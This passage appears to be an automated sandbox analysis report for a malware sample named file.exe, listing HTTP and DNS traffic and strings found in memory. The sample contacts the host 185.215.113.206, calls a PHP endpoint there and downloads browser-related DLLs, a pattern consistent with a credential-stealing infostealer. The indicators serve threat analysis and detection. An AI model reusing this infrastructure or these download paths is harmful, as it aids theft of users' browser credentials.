Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log7.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2517910143.0000000000586000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2520351860.0000000000E37000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379754217.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000003.2379754217.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&;
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php0;
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpI
Source: file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpIJ;VL
Source: file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpV;rL
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379754217.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf&;
Source: file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000003.2379754217.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpmoVL
Source: file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpn;:L
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpyobL
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllJz
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllQdmLH
Source: file.exe, 00000000.00000002.2517910143.00000000005B4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2379754217.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379754217.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllVz
Source: file.exe, 00000000.00000002.2520351860.0000000000E37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2520351860.0000000000E37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dlld
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dlllocalhost5
Source: file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206FIJ
Source: file.exe, 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206_
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_482.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2538978463.000000001D200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2546121210.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_486.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_486.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_482.4.dr, chromecache_486.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: f68a828a-55d2-4f9c-9ebf-307273fda29c.tmp.10.dr, 33d4b24b-f90d-4585-b1aa-6257ed704e6f.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: f68a828a-55d2-4f9c-9ebf-307273fda29c.tmp.10.dr, 33d4b24b-f90d-4585-b1aa-6257ed704e6f.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_486.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_486.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: file.exe, file.exe, 00000000.00000002.2546731433.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061910174.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_486.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log8.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
